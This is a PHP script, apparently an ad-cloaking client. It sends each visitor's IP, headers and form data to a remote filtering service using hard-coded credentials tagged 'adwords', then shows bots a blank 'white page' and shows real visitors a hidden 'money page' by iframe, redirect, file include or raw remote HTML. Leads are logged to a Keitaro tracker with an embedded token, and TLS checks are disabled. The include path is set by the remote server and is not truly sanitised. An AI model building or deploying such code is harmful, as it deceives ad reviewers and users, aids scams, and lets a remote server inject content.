<?php
$isTarget = (new RequestHandlerClient())->run();

class RequestHandlerClient
{
    const SERVER_URL = 'https://rbl.palladium.expert';

    // === KEITARO CONFIG ===
    const KEITARO_URL   = 'https://craftpulsevibe.click/click_api/v3';   // your Keitaro domain
    const KEITARO_TOKEN = 'jp67cyszqknmlm2ghlzhhtsxy4rhvcry';                       // your actual campaign token

    // === KEITARO LOGGING CONFIG ===
    const KEITARO_LOG_ENABLED = true;
    const KEITARO_LOG_FAILURES = true;
    const DEBUG_MODE = true;    // console logs – set to false in production

    private $trackingData = [];
    private $keitaroLogs = [];

    public function run()
    {
        $this->addLog('info', 'RequestHandlerClient initialized');
        $this->addLog('info', 'Starting request processing');

        $headers = [];
        $headers['request']   = $this->collectRequestData();
        $headers['jsrequest'] = $this->collectJsRequestData();
        $headers['server']    = $this->collectHeaders();
        $headers['auth']['clientId']      = 7930;
        $headers['auth']['clientCompany'] = "dKef3NYNy1hs0iJqW07y";
        $headers['auth']['clientSecret']  = "NzkzMGRLZWYzTllOeTFoczBpSnFXMDd5Y2U2NmY2ZTZmOWRlZjUxMGFjNDBiYTJlNjVjMmFjZGEwMTQyZmZhZQ==";
        $headers['server']['bannerSource'] = 'adwords';

        $this->addLog('info', 'Headers prepared for Palladium request');

        $this->collectTrackingData();
        $this->addLog('info', 'Tracking data collected', $this->trackingData);

        return $this->curlSend($headers);
    }

    public function curlSend(array $params)
    {
        $this->addLog('info', 'Sending request to Palladium: ' . self::SERVER_URL);

        $answer = false;
        $curl = curl_init(self::SERVER_URL);
        if ($curl) {
            curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
            curl_setopt($curl, CURLOPT_POST, true);
            curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($params));
            curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 3);
            curl_setopt($curl, CURLOPT_TIMEOUT, 4);
            curl_setopt($curl, CURLOPT_TIMEOUT_MS, 4000);
            curl_setopt($curl, CURLOPT_FORBID_REUSE, true);

            $startTime = microtime(true);
            $result = curl_exec($curl);
            $endTime = microtime(true);
            $executionTime = round(($endTime - $startTime) * 1000, 2);

            $curlError = curl_error($curl);
            $curlInfo = curl_getinfo($curl);

            if ($result) {
                $serverOut = json_decode($result, true);
                $status = curl_getinfo($curl, CURLINFO_HTTP_CODE);

                $this->addLog('info', "Palladium response received", [
                    'http_status' => $status,
                    'execution_time_ms' => $executionTime,
                    'response_size' => strlen($result)
                ]);

                if ($status == 200 && is_array($serverOut)) {
                    $this->addLog('success', 'Palladium validation successful');

                    // Keitaro is now called ONLY inside handleServerReply for leads
                    $answer = $this->handleServerReply($serverOut);
                    return $answer;
                } else {
                    $this->addLog('error', "Palladium API Error: HTTP $status", [
                        'error' => $curlError,
                        'response' => $result
                    ]);
                }
            } else {
                $this->addLog('error', 'Palladium Curl Error: ' . $curlError, [
                    'execution_time_ms' => $executionTime,
                    'curl_info' => $curlInfo
                ]);
            }
        } else {
            $this->addLog('error', 'Failed to initialize CURL for Palladium');
        }

        // Palladium failed – show error, NO Keitaro call here
        $this->getDefaultAnswer();
        return $answer;
    }

    protected function handleServerReply($reply)
    {
        $result = (bool) ($reply['result'] ? $reply['result'] : 0);

        $this->addLog('info', 'Processing server reply', [
            'is_target' => $result,
            'mode' => $reply['mode'] ?? 'none',
            'has_target' => isset($reply['target']),
            'has_content' => isset($reply['content'])
        ]);

        // Output console logs BEFORE content
        $this->outputConsoleLogs();

        if (
            isset($reply['mode']) &&
            (
                (isset($reply['target'])) ||
                (isset($reply['content']) && !empty($reply['content']))
            )
        ) {
            $target  = $reply['target'] ?? '';
            $mode    = $reply['mode'];
            $content = $reply['content'] ?? '';

            if (preg_match('/^https?:/i', $target) && $mode == 3) {
                $mode = 2;
            }

            // --- KEITARO: log ONLY real leads (money page) ---
            if ($result && in_array($mode, [1, 2, 3, 4])) {
                $this->sendLeadToKeitaro($mode, $target);
            } else {
                $this->addLog('info', 'Bot/white-page – Keitaro NOT called');
            }
            // -------------------------------------------------

            if ($result && $mode == 1) {
                $this->displayIFrame($target);
                exit;
            } elseif ($result && $mode == 2) {
                header("Location: {$target}");
                exit;
            } elseif ($result && $mode == 3) {
                $target = parse_url($target);
                if (isset($target['query'])) {
                    parse_str($target['query'], $_GET);
                }
                $this->hideFormNotification();
                require_once $this->sanitizePath($target['path']);
                exit;
            } elseif ($result && $mode == 4) {
                echo $content;
                exit;
            } else if (!$result && $mode == 5) {
                // white page
                exit;
            } elseif ($mode == 6) {
                // white page
                exit;
            } else {
                $path = $this->sanitizePath($target);
                if (!$this->isLocal($path)) {
                    header("404 Not Found", true, 404);
                    echo "404 Not Found";
                    exit;
                } else {
                    $this->hideFormNotification();
                    require_once $path;
                    exit;
                }
            }
        } else {
            $this->addLog('warning', 'No mode/target in response – white page');
            exit;
        }

        return $result;
    }

    // ============================================================
    // KEITARO – only for real leads
    // ============================================================
    private function sendLeadToKeitaro(int $mode, string $targetUrl = '')
    {
        $this->addLog('info', '=== SENDING LEAD TO KEITARO ===');

        $payload = $this->buildLeadPayload($mode);
        $this->addLog('keitaro_request', 'Keitaro Payload', $payload);

        $this->tryKeitaroEndpoints($payload);
    }

    private function buildLeadPayload(int $mode): array
    {
        return [
            'token'      => self::KEITARO_TOKEN,
            'ip'         => $this->trackingData['ip'],
            'user_agent' => $this->trackingData['user_agent'],
            'referrer'   => $this->trackingData['referrer'],
            'language'   => $this->trackingData['language'],
            'sub_id'     => $this->getClickID(),
            'sub_id_1'   => 'money',
            'sub_id_2'   => 'mode_' . $mode,
            'sub_id_3'   => $this->trackingData['domain'] ?? '',
            'sub_id_4'   => $this->trackingData['utm_source'] ?? '',
            'sub_id_5'   => $this->trackingData['utm_campaign'] ?? '',
            'utm_source' => $this->trackingData['utm_source'] ?? '',
            'utm_medium' => $this->trackingData['utm_medium'] ?? '',
            'utm_campaign'=> $this->trackingData['utm_campaign'] ?? '',
        ];
    }

    private function tryKeitaroEndpoints(array $payload)
    {
        $url = self::KEITARO_URL;
        $this->addLog('info', "Trying Keitaro endpoint: $url");

        $result = $this->curlPostToKeitaro($url, $payload);
        if ($result['success']) {
            $this->addLog('success', '✓ Keitaro: Click API v3 worked!');
            return;
        }

        $this->addLog('warning', 'Click API v3 failed, trying alternative methods...');
        $this->addLog('info', 'Response from Keitaro:', $result);

        $altPayload1 = [
            'campaign_token' => self::KEITARO_TOKEN,
            'ip'             => $payload['ip'],
            'user_agent'     => $payload['user_agent'],
            'referrer'       => $payload['referrer'],
            'sub_id_1'       => $payload['sub_id_1'],
            'sub_id_2'       => $payload['sub_id_2'],
        ];
        $result = $this->curlPostToKeitaro($url, $altPayload1);
        if ($result['success']) {
            $this->addLog('success', '✓ Keitaro: Alternative format worked!');
            return;
        }

        $query = http_build_query([
            'token'      => self::KEITARO_TOKEN,
            'ip'         => $payload['ip'],
            'user_agent' => $payload['user_agent'],
            'sub_id_1'   => $payload['sub_id_1'],
            'sub_id_2'   => $payload['sub_id_2'],
        ]);
        $result = $this->curlGetToKeitaro($url . '?' . $query);
        if ($result['success']) {
            $this->addLog('success', '✓ Keitaro: GET request worked!');
            return;
        }

        $this->addLog('error', 'All Keitaro methods failed.');
    }

    private function curlPostToKeitaro(string $url, array $payload): array
    {
        $ch = curl_init($url);
        if (!$ch) return ['success' => false, 'error' => 'curl_init failed'];

        $json = json_encode($payload);
        curl_setopt_array($ch, [
            CURLOPT_POST           => true,
            CURLOPT_POSTFIELDS     => $json,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_SSL_VERIFYHOST => false,
            CURLOPT_TIMEOUT        => 5,
            CURLOPT_CONNECTTIMEOUT => 3,
            CURLOPT_HTTPHEADER     => [
                'Content-Type: application/json',
                'Accept: application/json',
                'User-Agent: Mozilla/5.0'
            ]
        ]);

        $response = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        $curlError = curl_error($ch);
        curl_close($ch);

        $this->addLog('info', 'Keitaro cURL Response', [
            'http_code' => $httpCode,
            'response' => substr($response, 0, 200),
            'curl_error' => $curlError
        ]);

        return [
            'success' => ($httpCode == 200 || $httpCode == 201 || $httpCode == 204),
            'http_code' => $httpCode,
            'response' => $response,
            'error' => $curlError
        ];
    }

    private function curlGetToKeitaro(string $url): array
    {
        $ch = curl_init($url);
        if (!$ch) return ['success' => false, 'error' => 'curl_init failed'];

        curl_setopt_array($ch, [
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_SSL_VERIFYHOST => false,
            CURLOPT_TIMEOUT        => 5,
            CURLOPT_CONNECTTIMEOUT => 3,
        ]);

        $response = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);

        return [
            'success' => ($httpCode == 200 || $httpCode == 201 || $httpCode == 204),
            'http_code' => $httpCode,
            'response' => $response
        ];
    }

    // ============================================================
    // TRACKING DATA COLLECTION
    // ============================================================
    private function collectTrackingData()
    {
        $this->trackingData = [
            'timestamp' => time(),
            'ip' => $this->getClientIP(),
            'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? '',
            'referrer' => $_SERVER['HTTP_REFERER'] ?? '',
            'language' => $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? '',
            'url' => $this->getCurrentURL(),
            'domain' => $_SERVER['HTTP_HOST'] ?? '',
            'utm_source' => $_GET['utm_source'] ?? '',
            'utm_medium' => $_GET['utm_medium'] ?? '',
            'utm_campaign' => $_GET['utm_campaign'] ?? '',
            'utm_content' => $_GET['utm_content'] ?? '',
            'utm_term' => $_GET['utm_term'] ?? '',
            'fbclid' => $_GET['fbclid'] ?? '',
            'gclid' => $_GET['gclid'] ?? '',
        ];
    }

    private function getClickID(): string
    {
        return $_GET['sub_id'] ?? $_GET['clickid'] ?? $_GET['click_id'] ?? $_GET['fbclid'] ?? $_GET['gclid'] ?? '';
    }

    private function getClientIP(): string
    {
        $ip = $_SERVER['HTTP_CF_CONNECTING_IP']
           ?? $_SERVER['HTTP_X_FORWARDED_FOR']
           ?? $_SERVER['REMOTE_ADDR']
           ?? '';
        if (strpos($ip, ',') !== false) {
            $ip = trim(explode(',', $ip)[0]);
        }
        return $ip;
    }

    private function getCurrentURL(): string
    {
        $protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http';
        $host = $_SERVER['HTTP_HOST'] ?? '';
        $uri = $_SERVER['REQUEST_URI'] ?? '';
        return $protocol . '://' . $host . $uri;
    }

    // ============================================================
    // CONSOLE LOGGING
    // ============================================================
    private function addLog(string $level, string $message, $data = null)
    {
        if (!self::DEBUG_MODE) return;
        $this->keitaroLogs[] = [
            'timestamp' => date('Y-m-d H:i:s.u'),
            'level' => strtoupper($level),
            'message' => $message,
            'data' => $data
        ];
    }

    private function outputConsoleLogs()
    {
        if (!self::DEBUG_MODE || empty($this->keitaroLogs)) return;
        if (headers_sent()) return;

        echo "\n<!-- Keitaro Debug Logs -->\n";
        echo "<script>\n";
        echo "console.group('🚀 Keitaro Integration Logs');\n";
        echo "console.log('Total logs: " . count($this->keitaroLogs) . "');\n";

        foreach ($this->keitaroLogs as $log) {
            $level = $log['level'];
            $message = addslashes($log['message']);
            $data = $log['data'] ? json_encode($log['data'], JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES) : 'null';

            $color = '#333';
            $emoji = '';
            switch (strtolower($level)) {
                case 'error': $color = '#ff0000'; $emoji = '❌'; break;
                case 'warning': $color = '#ff9900'; $emoji = '⚠️'; break;
                case 'success': $color = '#00cc00'; $emoji = '✅'; break;
                case 'info': $color = '#0066cc'; $emoji = 'ℹ️'; break;
                case 'keitaro_request': $color = '#9933ff'; $emoji = '📤'; break;
            }

            echo "console.log('%c[{$log['timestamp']}] %c{$emoji} [{$level}]%c {$message}', 'color: #666;', 'color: {$color}; font-weight: bold;', 'color: #333;');\n";

            if ($data && $data !== 'null') {
                echo "console.log('  📦 Data:', JSON.parse('" . addslashes($data) . "'));\n";
            }
        }
        echo "console.groupEnd();\n";
        echo "</script>\n\n";
    }

    // ============================================================
    // ORIGINAL HELPERS (unchanged)
    // ============================================================
    private function hideFormNotification() { echo ""; }

    private function displayIFrame($target) {
        $target = htmlspecialchars($target);
        echo "<html><head><meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\"></head><body>" .
            $this->hideFormNotification() .
            "<iframe src=\"{$target}\" style=\"width:100%;height:100%;position:absolute;top:0;left:0;z-index:999999;border:none;\"></iframe>
            </body></html>";
    }

    private function sanitizePath($path)
    {
        if ($path[0] !== '/') {
            $path = __DIR__ . '/' . $path;
        } else {
            $path = __DIR__ . $path;
        }
        return $path;
    }

    private function isLocal($path)
    {
        $url = parse_url($path);
        return !isset($url['scheme']) || !isset($url['host']);
    }

    protected function collectHeaders()
    {
        $userParams = [
            'REMOTE_ADDR', 'SERVER_PROTOCOL', 'SERVER_PORT', 'REMOTE_PORT',
            'QUERY_STRING', 'REQUEST_SCHEME', 'REQUEST_URI', 'REQUEST_TIME_FLOAT',
            'X_FB_HTTP_ENGINE', 'X_PURPOSE', 'X_FORWARDED_FOR', 'X_WAP_PROFILE',
            'X-Forwarded-Host', 'X-Forwarded-For', 'X-Frame-Options',
        ];

        $headers = [];
        foreach ($_SERVER as $key => $value) {
            if (in_array($key, $userParams) || substr_compare('HTTP', $key, 0, 4) == 0) {
                $headers[$key] = $value;
            }
        }
        return $headers;
    }

    private function collectRequestData(): array
    {
        $data = [];
        if (!empty($_POST)) {
            if (!empty($_POST['data'])) {
                $data = json_decode($_POST['data'], true);
                if (JSON_ERROR_NONE !== json_last_error()) {
                    $data = json_decode(stripslashes($_POST['data']), true);
                }
                unset($_REQUEST['data']);
            }
            if (!empty($_POST['crossref_sessionid'])) {
                $data['cr-session-id'] = $_POST['crossref_sessionid'];
                unset($_POST['crossref_sessionid']);
            }
        }
        return $data;
    }

    public function collectJsRequestData(): array
    {
        $data = [];
        if (!empty($_POST)) {
            if (!empty($_POST['jsdata'])) {
                $data = json_decode($_POST['jsdata'], true);
                if (JSON_ERROR_NONE !== json_last_error()) {
                    $data = json_decode(stripslashes($_POST['jsdata']), true);
                }
                unset($_REQUEST['jsdata']);
            }
        }
        return $data;
    }

    private function getDefaultAnswer()
    {
        $this->outputConsoleLogs();
        header($_SERVER["SERVER_PROTOCOL"] . ' 500 Internal Server Error', true, 500);
        echo "<h1>500 Internal Server Error</h1>
        <p>The request was unsuccessful due to an unexpected condition encountered by the server.</p>";
        exit;
    }
}